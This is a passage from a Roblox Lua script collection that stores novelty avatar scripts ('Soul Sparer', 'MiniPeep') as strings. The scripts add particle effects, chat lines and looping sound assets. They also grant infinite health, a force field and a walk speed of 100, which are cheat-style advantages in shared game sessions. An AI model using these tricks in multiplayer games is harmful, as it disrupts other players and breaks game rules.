| 5027 | game:GetService("Chat"):Chat(Head,"NO!THIS IS IMPOSSIBLE!NOOOOO!",2)
| |
| 5028 | for cframe_parts = 0, 100 do | |
| 5029 | local p = Instance.new("Part")
| |
| 5030 | p.FormFactor = "Custom" | |
| 5031 | p.BrickColor = BrickColor.new(Colors[math.random(1, #Colors)]) | |
| 5032 | p.Size = Vector3.new(1, 1, 1) | |
| 5033 | Instance.new("BlockMesh", p).Scale = Vector3.new(0.05, 0.05, 0.05)
| |
| 5034 | p.Locked = true | |
| 5035 | p.CanCollide = false | |
| 5036 | p.Anchored = true | |
| 5037 | p.CFrame = Torso.CFrame * CFrame.Angles(math.random(-50, 50),math.random(-50, 50),math.random(-50, 50)) | |
| 5038 | p.Parent = workspace | |
| 5039 | local box = Instance.new("SelectionBox", p)
| |
| 5040 | box.Color = BrickColor.new(Colors[math.random(1, #Colors)]) | |
| 5041 | box.Adornee = p | |
| 5042 | box.Transparency = 0.5 | |
| 5043 | box.Visible = true | |
| 5044 | local spirit = Instance.new("Fire", p)
| |
| 5045 | spirit.Color = Color3.new(0,0,0) | |
| 5046 | spirit.Enabled = true | |
| 5047 | spirit.Heat = 10 | |
| 5048 | spirit.SecondaryColor = Color3.new(255,255,255) | |
| 5049 | spirit.Size = 5 | |
| 5050 | game:service'Debris':AddItem(p, 5) | |
| 5051 | coroutine.wrap(function() | |
| 5052 | while wait() do | |
| 5053 | if p ~= nil then | |
| 5054 | p.CFrame = p.CFrame * CFrame.new(0, 0.085, 0) | |
| 5055 | p.Mesh.Scale = p.Mesh.Scale - Vector3.new(0.005, 0, 0.005) + Vector3.new(0, 0.01, 0) | |
| 5056 | p.Transparency = p.Transparency + 0.015 | |
| 5057 | else | |
| 5058 | break | |
| 5059 | end | |
| 5060 | end | |
| 5061 | end)() | |
| 5062 | end | |
| 5063 | for _,v in pairs(char:children()) do | |
| 5064 | if v:IsA("Part") then
| |
| 5065 | v:Destroy() | |
| 5066 | end | |
| 5067 | end | |
| 5068 | ||
| 5069 | end) | |
| 5070 | local function Button1Down(mouse) | |
| 5071 | game:GetService("Chat"):Chat(Head,"NOW PERISH!SPIRIT MODE ACTIVATE!",2)
| |
| 5072 | if spirit == false then | |
| 5073 | spirit = true | |
| 5074 | RightArm.Transparency = 1 | |
| 5075 | LeftArm.Transparency = 1 | |
| 5076 | RightLeg.Transparency = 1 | |
| 5077 | LeftLeg.Transparency = 1 | |
| 5078 | Head.Transparency = 1 | |
| 5079 | Torso.Transparency = 1 | |
| 5080 | local protect = Instance.new("ForceField", char)
| |
| 5081 | protect.Archivable = true | |
| 5082 | local spirit = Instance.new("Fire", char.Torso)
| |
| 5083 | spirit.Color = Color3.new(0,0,0) | |
| 5084 | spirit.Enabled = true | |
| 5085 | spirit.Heat = 10 | |
| 5086 | spirit.SecondaryColor = Color3.new(255,255,255) | |
| 5087 | spirit.Size = 5 | |
| 5088 | humanoid.MaxHealth = math.huge | |
| 5089 | wait() | |
| 5090 | humanoid.WalkSpeed = 100 | |
| 5091 | wait(20) | |
| 5092 | spirit = false | |
| 5093 | game:GetService("Chat"):Chat(Head,"Have you gotten enough?No? Ok.",1)
| |
| 5094 | RightArm.Transparency = 0.5 | |
| 5095 | LeftArm.Transparency = 0.5 | |
| 5096 | RightLeg.Transparency = 0.5 | |
| 5097 | LeftLeg.Transparency = 0.5 | |
| 5098 | Head.Transparency = 0.5 | |
| 5099 | Torso.Transparency = 0.5 | |
| 5100 | char.Torso.Fire:Remove() | |
| 5101 | humanoid.Health = 100 | |
| 5102 | humanoid.WalkSpeed = 16 | |
| 5103 | char.Head.face:Remove() | |
| 5104 | char.ForceField:Remove() | |
| 5105 | char.Pants:Remove() | |
| 5106 | char.Shirt:Remove() | |
| 5107 | end | |
| 5108 | end | |
| 5109 | script.Parent.Selected:connect(function(mouse)mouse.Button1Down:connect(function(mouse)Button1Down(mouse)end)end)]] | |
| 5110 | SoulSparer = [[ | |
| 5111 | Instance.new("HopperBin",game.Players.LocalPlayer.Backpack).Name = "Soul Sparer"
| |
| 5112 | script.Parent = game.Players.LocalPlayer.Backpack:findFirstChild"Soul Sparer" | |
| 5113 | local char = script.Parent.Parent.Parent.Character | |
| 5114 | local humanoid = char.Humanoid | |
| 5115 | local Head = char.Head | |
| 5116 | local Torso = char.Torso | |
| 5117 | local LeftArm = char["Left Arm"] | |
| 5118 | local RightArm = char["Right Arm"] | |
| 5119 | local LeftLeg = char["Left Leg"] | |
| 5120 | local RightLeg = char["Right Leg"] | |
| 5121 | local RightHip = Torso["Right Hip"] | |
| 5122 | local LeftHip = Torso["Left Hip"] | |
| 5123 | local Neck = Torso.Neck | |
| 5124 | local RightShoulder = Torso["Right Shoulder"] | |
| 5125 | local LeftShoulder = Torso["Left Shoulder"] | |
| 5126 | local NeckC0 = CFrame.new(0, 1, 0, -1, 0, 0, 0, 0, 1, 0, 1, 0) | |
| 5127 | local NeckC1 = CFrame.new(0, -0.5, 0, -1, 0, 0, 0, 0, 1, 0, 1, 0) | |
| 5128 | local LeftShoulderC0 = CFrame.new(-1, 0.5, 0, 0, 0, -1, 0, 1, 0, 1, 0, 0) | |
| 5129 | local LeftShoulderC1 = CFrame.new(0.5, 0.5, 0, 0, 0, -1, 0, 1, 0, 1, 0, 0) | |
| 5130 | local RightShoulderC0 = CFrame.new(1, 0.5, 0, 0, 0, 1, 0, 1, 0, -1, 0, 0) | |
| 5131 | local RightShoulderC1 = CFrame.new(-0.5, 0.5, 0, 0, 0, 1, 0, 1, 0, -1, 0, 0) | |
| 5132 | local LeftHipC0 = CFrame.new(-1, -1, 0, 0, 0, -1,0,1, 0, 1, 0, 0) | |
| 5133 | local LeftHipC1 = CFrame.new(-0.5,1,0,0,0,-1,0,1,0,1, 0, 0) | |
| 5134 | local RightHipC0 = CFrame.new(1,-1,0,0,0,1,0,1,0,-1,0,0) | |
| 5135 | local RightHipC1 = CFrame.new(0.5,1,0,0,0,1,0,1,0,-1,0,0) | |
| 5136 | spirit = false | |
| 5137 | local rj = char:findFirstChild("HumanoidRootPart"):findFirstChild("RootJoint")
| |
| 5138 | local rootpart = char:findFirstChild("HumanoidRootPart")
| |
| 5139 | spirit = false | |
| 5140 | Instance.new("HumanoidController", game:service'ControllerService')
| |
| 5141 | Instance.new("SkateboardController", game:service'ControllerService')
| |
| 5142 | Instance.new("VehicleController", game:service'ControllerService')
| |
| 5143 | local Colors = {"White","Really blue","Really red","New Yeller","Lavender","Bright bluish green"}
| |
| 5144 | Head.Touched:connect(function(hit) | |
| 5145 | if not hit.Parent:findFirstChild("Humanoid")then
| |
| 5146 | game:GetService("Chat"):Chat(Head,"I'll give you a life.",0)
| |
| 5147 | local pie = Instance.new("Humanoid", hit.Parent)
| |
| 5148 | pie.Health = 0 | |
| 5149 | for i,v in pairs(hit.Parent:GetChildren())do | |
| 5150 | if v:IsA"Humanoid" then | |
| 5151 | game:GetService("Chat"):Chat(Head,"I've made you reborn.",0)
| |
| 5152 | elseif v:IsA"Part" then | |
| 5153 | game:GetService("Chat"):Chat(v.Parent.Head,"Yay!",1)
| |
| 5154 | v.Velocity = v.Position * Vector3.new(50,3,0) | |
| 5155 | v.RotVelocity = v.Position - v.Velocity | |
| 5156 | v:MakeJoints() | |
| 5157 | end end end | |
| 5158 | end) | |
| 5159 | Torso.Touched:connect(function(hit) | |
| 5160 | if not hit.Parent:findFirstChild("Humanoid")then
| |
| 5161 | game:GetService("Chat"):Chat(Head,"I'll give you a heart.",0)
| |
| 5162 | local pie = Instance.new("Humanoid", hit.Parent)
| |
| 5163 | pie.Health = 0 | |
| 5164 | for i,v in pairs(hit.Parent:GetChildren())do | |
| 5165 | if v:IsA"Humanoid" then | |
| 5166 | game:GetService("Chat"):Chat(Head,"I've recreated you.",0)
| |
| 5167 | elseif v:IsA"Part" then | |
| 5168 | game:GetService("Chat"):Chat(v.Parent.Head,"Thank you!",1)
| |
| 5169 | v.Velocity = v.Position * Vector3.new(50,3,0) | |
| 5170 | v.RotVelocity = v.Position - v.Velocity | |
| 5171 | v:MakeJoints() | |
| 5172 | end end end | |
| 5173 | end) | |
| 5174 | LeftLeg.Touched:connect(function(hit) | |
| 5175 | if not hit.Parent:findFirstChild("Humanoid")then
| |
| 5176 | game:GetService("Chat"):Chat(Head,"Here is a life.",0)
| |
| 5177 | local pie = Instance.new("Humanoid", hit.Parent)
| |
| 5178 | pie.Health = 0 | |
| 5179 | for i,v in pairs(hit.Parent:GetChildren())do | |
| 5180 | if v:IsA"Humanoid" then | |
| 5181 | game:GetService("Chat"):Chat(Head,"I've given you a new life.",0)
| |
| 5182 | elseif v:IsA"Part" then | |
| 5183 | game:GetService("Chat"):Chat(v.Parent.Head,"Yess!",1)
| |
| 5184 | v.Velocity = v.Position * Vector3.new(50,3,0) | |
| 5185 | v.RotVelocity = v.Position - v.Velocity | |
| 5186 | v:MakeJoints() | |
| 5187 | end end end | |
| 5188 | end) | |
| 5189 | RightLeg.Touched:connect(function(hit) | |
| 5190 | if not hit.Parent:findFirstChild("Humanoid")then
| |
| 5191 | game:GetService("Chat"):Chat(Head,"Here poor one.",0)
| |
| 5192 | local pie = Instance.new("Humanoid", hit.Parent)
| |
| 5193 | pie.Health = 0 | |
| 5194 | for i,v in pairs(hit.Parent:GetChildren())do | |
| 5195 | if v:IsA"Humanoid" then | |
| 5196 | game:GetService("Chat"):Chat(Head,"Here.",0)
| |
| 5197 | elseif v:IsA"Part" then | |
| 5198 | game:GetService("Chat"):Chat(v.Parent.Head,"Omg thank you!",1)
| |
| 5199 | v.Velocity = v.Position * Vector3.new(50,3,0) | |
| 5200 | v.RotVelocity = v.Position - v.Velocity | |
| 5201 | v:MakeJoints() | |
| 5202 | end end end | |
| 5203 | end) | |
| 5204 | LeftArm.Touched:connect(function(hit) | |
| 5205 | if not hit.Parent:findFirstChild("Humanoid")then
| |
| 5206 | game:GetService("Chat"):Chat(Head,"Here you go.",0)
| |
| 5207 | local pie = Instance.new("Humanoid", hit.Parent)
| |
| 5208 | pie.Health = 0 | |
| 5209 | for i,v in pairs(hit.Parent:GetChildren())do | |
| 5210 | if v:IsA"Humanoid" then | |
| 5211 | game:GetService("Chat"):Chat(Head,"A spare life.",0)
| |
| 5212 | elseif v:IsA"Part" then | |
| 5213 | game:GetService("Chat"):Chat(v.Parent.Head,"Hippe!",1)
| |
| 5214 | v.Velocity = v.Position * Vector3.new(50,3,0) | |
| 5215 | v.RotVelocity = v.Position - v.Velocity | |
| 5216 | v:MakeJoints() | |
| 5217 | end end end | |
| 5218 | end) | |
| 5219 | RightArm.Touched:connect(function(hit) | |
| 5220 | if not hit.Parent:findFirstChild("Humanoid")then
| |
| 5221 | game:GetService("Chat"):Chat(Head,"I'll create a spare life.",0)
| |
| 5222 | local pie = Instance.new("Humanoid", hit.Parent)
| |
| 5223 | pie.Health = 0 | |
| 5224 | for i,v in pairs(hit.Parent:GetChildren())do | |
| 5225 | if v:IsA"Humanoid" then | |
| 5226 | game:GetService("Chat"):Chat(Head,"Here,a created life.",0)
| |
| 5227 | elseif v:IsA"Part" then | |
| 5228 | game:GetService("Chat"):Chat(v.Parent.Head,"Thank you!",1)
| |
| 5229 | v.Velocity = v.Position * Vector3.new(50,3,0) | |
| 5230 | v.RotVelocity = v.Position - v.Velocity | |
| 5231 | v:MakeJoints() | |
| 5232 | end end end | |
| 5233 | end) | |
| 5234 | humanoid.Died:connect(function() | |
| 5235 | game:GetService("Chat"):Chat(Head,"I'm sorry,I have failed.",2)
| |
| 5236 | for cframe_parts = 0, 100 do | |
| 5237 | local p = Instance.new("Part")
| |
| 5238 | p.FormFactor = "Custom" | |
| 5239 | p.BrickColor = BrickColor.new(Colors[math.random(1, #Colors)]) | |
| 5240 | p.Size = Vector3.new(1, 1, 1) | |
| 5241 | Instance.new("BlockMesh", p).Scale = Vector3.new(0.05, 0.05, 0.05)
| |
| 5242 | p.Locked = true | |
| 5243 | p.CanCollide = false | |
| 5244 | p.Anchored = true | |
| 5245 | p.CFrame = Torso.CFrame * CFrame.Angles(math.random(-50, 50),math.random(-50, 50),math.random(-50, 50)) | |
| 5246 | p.Parent = workspace | |
| 5247 | local box = Instance.new("SelectionBox", p)
| |
| 5248 | box.Color = BrickColor.new(Colors[math.random(1, #Colors)]) | |
| 5249 | box.Adornee = p | |
| 5250 | box.Transparency = 0.5 | |
| 5251 | box.Visible = true | |
| 5252 | local spirit = Instance.new("Fire", p)
| |
| 5253 | spirit.Color = Color3.new(255,255,255) | |
| 5254 | spirit.Enabled = true | |
| 5255 | spirit.Heat = 10 | |
| 5256 | spirit.SecondaryColor = Color3.new(0,0,0) | |
| 5257 | spirit.Size = 5 | |
| 5258 | game:service'Debris':AddItem(p, 5) | |
| 5259 | coroutine.wrap(function() | |
| 5260 | while wait() do | |
| 5261 | if p ~= nil then | |
| 5262 | p.CFrame = p.CFrame * CFrame.new(0, 0.085, 0) | |
| 5263 | p.Mesh.Scale = p.Mesh.Scale - Vector3.new(0.005, 0, 0.005) + Vector3.new(0, 0.01, 0) | |
| 5264 | p.Transparency = p.Transparency + 0.015 | |
| 5265 | else | |
| 5266 | break | |
| 5267 | end | |
| 5268 | end | |
| 5269 | end)() | |
| 5270 | end | |
| 5271 | for _,v in pairs(char:children()) do | |
| 5272 | if v:IsA("Part") then
| |
| 5273 | v:Destroy() | |
| 5274 | end | |
| 5275 | end | |
| 5276 | ||
| 5277 | end) | |
| 5278 | local function Button1Down(mouse) | |
| 5279 | game:GetService("Chat"):Chat(Head,"I shall spare all life.",1)
| |
| 5280 | if spirit == false then | |
| 5281 | spirit = true | |
| 5282 | RightArm.Transparency = 1 | |
| 5283 | LeftArm.Transparency = 1 | |
| 5284 | RightLeg.Transparency = 1 | |
| 5285 | LeftLeg.Transparency = 1 | |
| 5286 | Head.Transparency = 1 | |
| 5287 | Torso.Transparency = 1 | |
| 5288 | local protect = Instance.new("ForceField", char)
| |
| 5289 | protect.Archivable = true | |
| 5290 | local spirit = Instance.new("Fire", char.Torso)
| |
| 5291 | spirit.Color = Color3.new(255,255,255) | |
| 5292 | spirit.Enabled = true | |
| 5293 | spirit.Heat = 10 | |
| 5294 | spirit.SecondaryColor = Color3.new(0,0,0) | |
| 5295 | spirit.Size = 5 | |
| 5296 | humanoid.MaxHealth = math.huge | |
| 5297 | wait() | |
| 5298 | humanoid.WalkSpeed = 100 | |
| 5299 | wait(20) | |
| 5300 | spirit = false | |
| 5301 | game:GetService("Chat"):Chat(Head,"I will continue to spare souls.",1)
| |
| 5302 | RightArm.Transparency = 0 | |
| 5303 | LeftArm.Transparency = 0 | |
| 5304 | RightLeg.Transparency = 0 | |
| 5305 | LeftLeg.Transparency = 0 | |
| 5306 | Head.Transparency = 0 | |
| 5307 | Torso.Transparency = 0 | |
| 5308 | char.Torso.Fire:Remove() | |
| 5309 | humanoid.Health = 100 | |
| 5310 | humanoid.WalkSpeed = 16 | |
| 5311 | char.Head.face:Remove() | |
| 5312 | char.ForceField:Remove() | |
| 5313 | char.Pants:Remove() | |
| 5314 | char.Shirt:Remove() | |
| 5315 | end | |
| 5316 | end | |
| 5317 | script.Parent.Selected:connect(function(mouse)mouse.Button1Down:connect(function(mouse)Button1Down(mouse)end)end)]] | |
| 5318 | MiniPeep = [[ | |
| 5319 | local ran,err = ypcall(function() | |
| 5320 | plr = game:service'Players'.LocalPlayer | |
| 5321 | char = plr.Character | |
| 5322 | mouse = plr:GetMouse() | |
| 5323 | humanoid = char:findFirstChild("Humanoid")
| |
| 5324 | torso = char:findFirstChild("Torso")
| |
| 5325 | head = char.Head | |
| 5326 | ra = char:findFirstChild("Right Arm")
| |
| 5327 | la = char:findFirstChild("Left Arm")
| |
| 5328 | rl = char:findFirstChild("Right Leg")
| |
| 5329 | ll = char:findFirstChild("Left Leg")
| |
| 5330 | rs = torso:findFirstChild("Right Shoulder")
| |
| 5331 | ls = torso:findFirstChild("Left Shoulder")
| |
| 5332 | rh = torso:findFirstChild("Right Hip")
| |
| 5333 | lh = torso:findFirstChild("Left Hip")
| |
| 5334 | neck = torso:findFirstChild("Neck")
| |
| 5335 | rj = char:findFirstChild("HumanoidRootPart"):findFirstChild("RootJoint")
| |
| 5336 | anim = char:findFirstChild("Animate")
| |
| 5337 | rootpart = char:findFirstChild("HumanoidRootPart")
| |
| 5338 | camera = workspace.CurrentCamera | |
| 5339 | if anim then | |
| 5340 | anim:Destroy() | |
| 5341 | end | |
| 5342 | rj.C0 = CFrame.new() | |
| 5343 | rj.C1 = CFrame.new() | |
| 5344 | super_annoying = Instance.new("Sound", head)
| |
| 5345 | super_annoying.SoundId = "http://www.roblox.com/asset/?id=149613358" | |
| 5346 | super_annoying.Volume = 1 | |
| 5347 | super_annoying.Looped = true | |
| 5348 | uni = Instance.new("Sound", head)
| |
| 5349 | uni.SoundId = "http://www.roblox.com/asset/?id=141444871" | |
| 5350 | uni.Volume = 1 | |
| 5351 | uni.Looped = true | |
| 5352 | ann = Instance.new("Sound", head)
| |
| 5353 | ann.SoundId = "http://www.roblox.com/asset/?id=130808056" | |
| 5354 | ann.Volume = 1 | |
| 5355 | ann.Looped = true | |
| 5356 | fwutters = Instance.new("Sound", head)
| |
| 5357 | fwutters.SoundId = "http://www.roblox.com/asset/?id=148896355" | |
| 5358 | fwutters.Volume = 1 | |
| 5359 | fwutters.Looped = true | |
| 5360 | Cobalt1164l = Instance.new("Sound", head)
| |
| 5361 | Cobalt1164l.SoundId = "http://www.roblox.com/asset/?id=130803007" | |
| 5362 | Cobalt1164l.Volume = 1 | |
| 5363 | Cobalt1164l.Looped = true | |
| 5364 | land_of_swords = Instance.new("Sound", head)
| |
| 5365 | land_of_swords.SoundId = "http://www.roblox.com/asset/?id=142357253" | |
| 5366 | land_of_swords.Volume = 1 | |
| 5367 | land_of_swords.Looped = true | |
| 5368 | qq = Instance.new("Sound", head)
| |
| 5369 | qq.SoundId = "http://www.roblox.com/asset/?id=142295308" | |
| 5370 | qq.Volume = 1 | |
| 5371 | qq.Looped = true | |
| 5372 | doge = Instance.new("Sound", head)
| |
| 5373 | doge.SoundId = "http://www.roblox.com/asset/?id=138213729" | |
| 5374 | doge.Volume = 1 | |
| 5375 | doge.Looped = true | |
| 5376 | nyan = Instance.new("Sound", head)
| |
| 5377 | nyan.SoundId = "http://www.roblox.com/asset/?id=142332086" | |
| 5378 | nyan.Volume = 1 | |
| 5379 | nyan.Looped = true | |
| 5380 | sctmn = Instance.new("Sound", head)
| |
| 5381 | sctmn.SoundId = "http://www.roblox.com/asset/?id=143620887" | |
| 5382 | sctmn.Volume = 1 | |
| 5383 | sctmn.Looped = true | |
| 5384 | barrel_roll = Instance.new("Sound", head)
| |
| 5385 | barrel_roll.SoundId = "http://www.roblox.com/asset/?id=130791919" | |
| 5386 | barrel_roll.Volume = 1 | |
| 5387 | barrel_roll.Looped = true | |
| 5388 | dubstep_gun = Instance.new("Sound", head)
| |
| 5389 | dubstep_gun.SoundId = "http://www.roblox.com/asset/?id=147096633" | |
| 5390 | dubstep_gun.Volume = 1 | |
| 5391 | dubstep_gun.Looped = true | |
| 5392 | you_are_pirate = Instance.new("Sound", head)
| |
| 5393 | you_are_pirate.SoundId = "http://www.roblox.com/asset/?id=130888577" | |
| 5394 | you_are_pirate.Volume = 1 | |
| 5395 | you_are_pirate.Looped = true | |
| 5396 | cant_touch = Instance.new("Sound", head)
| |
| 5397 | cant_touch.SoundId = "http://www.roblox.com/asset/?id=131280929" | |
| 5398 | cant_touch.Volume = 1 | |
| 5399 | cant_touch.Looped = true | |
| 5400 | gangy_style = Instance.new("Sound", head)
| |
| 5401 | gangy_style.SoundId = "http://www.roblox.com/asset/?id=130844430" | |
| 5402 | gangy_style.Volume = 1 | |
| 5403 | gangy_style.Looped = true | |
| 5404 | fox_say = Instance.new("Sound", head)
| |
| 5405 | fox_say.SoundId = "http://www.roblox.com/asset/?id=143110546" | |
| 5406 | fox_say.Volume = 1 | |
| 5407 | fox_say.Looped = true | |
| 5408 | durk = Instance.new("Sound", head)
| |
| 5409 | durk.SoundId = "http://www.roblox.com/asset/?id=142376365" | |
| 5410 | durk.Volume = 1 | |
| 5411 | durk.Looped = true | |
| 5412 | sax_guy = Instance.new("Sound", head)
| |
| 5413 | sax_guy.SoundId = "http://www.roblox.com/asset/?id=130794684" | |
| 5414 | sax_guy.Volume = 1 | |
| 5415 | sax_guy.Looped = true | |
| 5416 | heman = Instance.new("Sound", head)
| |
| 5417 | heman.SoundId = "http://www.roblox.com/asset/?id=131102548" | |
| 5418 | heman.Volume = 1 | |
| 5419 | heman.Looped = true | |
| 5420 | justin = Instance.new("Sound", head)
| |
| 5421 | justin.SoundId = "http://www.roblox.com/asset/?id=138154702" | |
| 5422 | justin.Volume = 1 | |
| 5423 | justin.Looped = true | |
| 5424 | brony_music = Instance.new("Sound", head)
| |
| 5425 | brony_music.SoundId = "http://www.roblox.com/asset/?id=143768403" | |
| 5426 | brony_music.Volume = 1 | |
| 5427 | brony_music.Looped = true | |
| 5428 | spitfire = Instance.new("Sound", head)
| |
| 5429 | spitfire.SoundId = "http://www.roblox.com/asset/?id=130776739" | |
| 5430 | spitfire.Volume = 1 | |
| 5431 | spitfire.Looped = true | |
| 5432 | burn_dem = Instance.new("Sound", head)
| |
| 5433 | burn_dem.SoundId = "http://www.roblox.com/asset/?id=132399469" | |
| 5434 | burn_dem.Volume = 1 | |
| 5435 | burn_dem.Looped = true | |
| 5436 | cant = Instance.new("Sound", head)
| |
| 5437 | cant.SoundId = "http://www.roblox.com/asset/?id=131122314" | |
| 5438 | cant.Volume = 1 | |
| 5439 | cant.Looped = true | |
| 5440 | if char:findFirstChild("Shirt") then
| |
| 5441 | char:findFirstChild("Shirt"):Destroy()
| |
| 5442 | end | |
| 5443 | if char:findFirstChild("Pants") then
| |
| 5444 | char:findFirstChild("Pants"):Destroy()
| |
| 5445 | end | |
| 5446 | if char:findFirstChild("Shirt Graphic") then
| |
| 5447 | char:findFirstChild("Shirt Graphic"):Destroy()
| |
| 5448 | end | |
| 5449 | Instance.new("HumanoidController", game:service'ControllerService')
| |
| 5450 | Instance.new("SkateboardController", game:service'ControllerService')
| |
| 5451 | Instance.new("VehicleController", game:service'ControllerService')
| |
| 5452 | rh.Parent = nil | |
| 5453 | lh.Parent = nil | |
| 5454 | rs.Parent = nil | |
| 5455 | ls.Parent = nil | |
| 5456 | neck.Parent = nil | |
| 5457 | rj.Parent = nil | |
| 5458 | rl.FormFactor = "Custom" | |
| 5459 | ll.FormFactor = "Custom" | |
| 5460 | ra.FormFactor = "Custom" | |
| 5461 | la.FormFactor = "Custom" | |
| 5462 | torso.FormFactor = "Custom" | |
| 5463 | head.FormFactor = "Custom" | |
| 5464 | rootpart.FormFactor = "Custom" | |
| 5465 | rootpart.Size = Vector3.new(.4, .4, .2) | |
| 5466 | rl.Size = Vector3.new(.2, .4, .2) | |
| 5467 | ll.Size = Vector3.new(.2, .4, .2) | |
| 5468 | ra.Size = Vector3.new(.2, .4, .2) | |
| 5469 | la.Size = Vector3.new(.2, .4, .2) | |
| 5470 | torso.Size = Vector3.new(.4, .4, .2) | |
| 5471 | head.Size = Vector3.new(.4, .2, .2) | |
| 5472 | rh.Parent = torso | |
| 5473 | lh.Parent = torso | |
| 5474 | rs.Parent = torso | |
| 5475 | ls.Parent = torso | |
| 5476 | neck.Parent = torso | |
| 5477 | rj.Parent = rootpart | |
| 5478 | if torso:findFirstChild("roblox") then
| |
| 5479 | local p = Instance.new("Part", char)
| |
| 5480 | p.FormFactor = "Custom" | |
| 5481 | p.Size = torso.Size | |
| 5482 | p.Transparency = 1 | |
| 5483 | p:BreakJoints() | |
| 5484 | local w = Instance.new("Weld", char)
| |
| 5485 | w.Part0 = p | |
| 5486 | w.Part1 = torso | |
| 5487 | torso:findFirstChild("roblox").Parent = p
| |
| 5488 | end | |
| 5489 | mesh1 = Instance.new("SpecialMesh", torso)
| |
| 5490 | mesh1.Name = "Mesh" | |
| 5491 | mesh1.Scale = torso.Size - Vector3.new(torso.Size.x/2, torso.Size.y/2, 0) | |
| 5492 | mesh1.MeshId = "rbxasset://fonts/torso.mesh" | |
| 5493 | mesh2 = Instance.new("SpecialMesh", la)
| |
| 5494 | mesh2.Name = "Mesh" | |
| 5495 | mesh2.Scale = la.Size - Vector3.new(0, la.Size.y/2, 0) | |
| 5496 | mesh2.MeshId = "rbxasset://fonts/leftarm.mesh" | |
| 5497 | mesh3 = Instance.new("SpecialMesh", ra)
| |
| 5498 | mesh3.Name = "Mesh" | |
| 5499 | mesh3.Scale = ra.Size - Vector3.new(0, ra.Size.y/2, 0) | |
| 5500 | mesh3.MeshId = "rbxasset://fonts/rightarm.mesh" | |
| 5501 | mesh4 = Instance.new("SpecialMesh", ll)
| |
| 5502 | mesh4.Name = "Mesh" | |
| 5503 | mesh4.Scale = ll.Size - Vector3.new(0, ll.Size.y/2, 0) | |
| 5504 | mesh4.MeshId = "rbxasset://fonts/leftleg.mesh" | |
| 5505 | mesh5 = Instance.new("SpecialMesh", rl)
| |
| 5506 | mesh5.Name = "Mesh" | |
| 5507 | mesh5.Scale = rl.Size - Vector3.new(0, rl.Size.y/2, 0) | |
| 5508 | mesh5.MeshId = "rbxasset://fonts/rightleg.mesh" | |
| 5509 | ls.C0 = CFrame.new(-.3,.1,0) | |
| 5510 | ls.C1 = CFrame.new(0,.1,0) | |
| 5511 | rs.C0 = CFrame.new(.3,.1,0) | |
| 5512 | rs.C1 = CFrame.new(0,.1,0) | |
| 5513 | rh.C0 = CFrame.new(.1,-.2,0) | |
| 5514 | rh.C1 = CFrame.new(0, .2, 0) | |
| 5515 | lh.C0 = CFrame.new(-.1,-.2,0) | |
| 5516 | lh.C1 = CFrame.new(0, .2, 0) | |
| 5517 | neck.C0 = CFrame.new(0,.2,0) | |
| 5518 | neck.C1 = CFrame.new(0,-.1,0) | |
| 5519 | bodyc = char:findFirstChild("Body Colors")
| |
| 5520 | if bodyc then | |
| 5521 | bodyc:Destroy() | |
| 5522 | end | |
| 5523 | wait(0.1) | |
| 5524 | skincolor = {"Pastel brown"}
| |
| 5525 | clothcolor = {"Dark green", "Really red","Bright yellow","Bright orange","Lavender","Royal purple","Bright blue","Toothpaste","Institutional white","Hot pink"}
| |
| 5526 | skincolorrandom = BrickColor.new(skincolor[math.random(1, #skincolor)]) | |
| 5527 | clothcolorrandom = BrickColor.new(clothcolor[math.random(1, #clothcolor)]) | |
| 5528 | function restorecolors() | |
| 5529 | for _,bp in pairs(char:children()) do | |
| 5530 | if bp:IsA("BasePart") then
| |
| 5531 | bp.BrickColor = skincolorrandom | |
| 5532 | end | |
| 5533 | end | |
| 5534 | torso.BrickColor = clothcolorrandom | |
| 5535 | ll.BrickColor = clothcolorrandom | |
| 5536 | rl.BrickColor = clothcolorrandom | |
| 5537 | end | |
| 5538 | restorecolors() | |
| 5539 | local LightForTorso = Instance.new("PointLight", head)
| |
| 5540 | LightForTorso.Range = 15 | |
| 5541 | LightForTorso.Brightness = 20 | |
| 5542 | coroutine.wrap(function() | |
| 5543 | while LightForTorso ~= nil do | |
| 5544 | LightForTorso.Color = Color3.new(math.random(), math.random(), math.random()) | |
| 5545 | wait(0.8) | |
| 5546 | end | |
| 5547 | end)() | |
| 5548 | local slidecount = 0 | |
| 5549 | local slidecountmax = 0 | |
| 5550 | local anim = "" | |
| 5551 | local lastanim = anim | |
| 5552 | local speed = 0 | |
| 5553 | local looking = false | |
| 5554 | local dancing = false | |
| 5555 | local superannoying = false | |
| 5556 | local barrelroll = false | |
| 5557 | local dubstepgun = false | |
| 5558 | local foxie = false | |
| 5559 | local durka = false | |
| 5560 | local saxguy = false | |
| 5561 | local heya = false | |
| 5562 | local jb = false | |
| 5563 | local bronymusic = false | |
| 5564 | local sheddy = false | |
| 5565 | local burndem = false | |
| 5566 | local canttt = false | |
| 5567 | local global_wait = 0 | |
| 5568 | count = 0 | |
| 5569 | countspeed = 1 | |
| 5570 | sine = 0 | |
| 5571 | sinespeed = 1 | |
| 5572 | humanoid.WalkSpeed = 20 | |
| 5573 | local controllerService = game:GetService("ControllerService")
| |
| 5574 | local controller = controllerService:GetChildren()[1] | |
| 5575 | local colors = {"Dark green", "Really red","Bright yellow","Bright orange","Lavender","Royal purple","Bright blue","Toothpaste","Institutional white","Hot pink"}
| |
| 5576 | humanoid.Died:connect(function() | |
| 5577 | for cframe_parts = 0, 100 do | |
| 5578 | local p = Instance.new("Part")
| |
| 5579 | p.FormFactor = "Custom" | |
| 5580 | p.BrickColor = BrickColor.new(colors[math.random(1, #colors)]) | |
| 5581 | p.Size = Vector3.new(1, 1, 1) | |
| 5582 | Instance.new("BlockMesh", p).Scale = Vector3.new(0.05, 0.05, 0.05)
| |
| 5583 | p.Locked = true | |
| 5584 | p.CanCollide = false | |
| 5585 | p.Anchored = true | |
| 5586 | p.CFrame = torso.CFrame * CFrame.Angles(math.random(-36, 36),math.random(-36, 36),math.random(-36, 36)) | |
| 5587 | p.Parent = workspace | |
| 5588 | game:service'Debris':AddItem(p, 5) | |
| 5589 | coroutine.wrap(function() | |
| 5590 | while wait() do | |
| 5591 | if p ~= nil then | |
| 5592 | p.CFrame = p.CFrame * CFrame.new(0, 0.085, 0) | |
| 5593 | p.Mesh.Scale = p.Mesh.Scale - Vector3.new(0.005, 0, 0.005) + Vector3.new(0, 0.01, 0) | |
| 5594 | p.Transparency = p.Transparency + 0.015 | |
| 5595 | else | |
| 5596 | break | |
| 5597 | end | |
| 5598 | end | |
| 5599 | end)() | |
| 5600 | end | |
| 5601 | for _,v in pairs(char:children()) do | |
| 5602 | if v:IsA("Part") then
| |
| 5603 | v:Destroy() | |
| 5604 | end | |
| 5605 | end | |
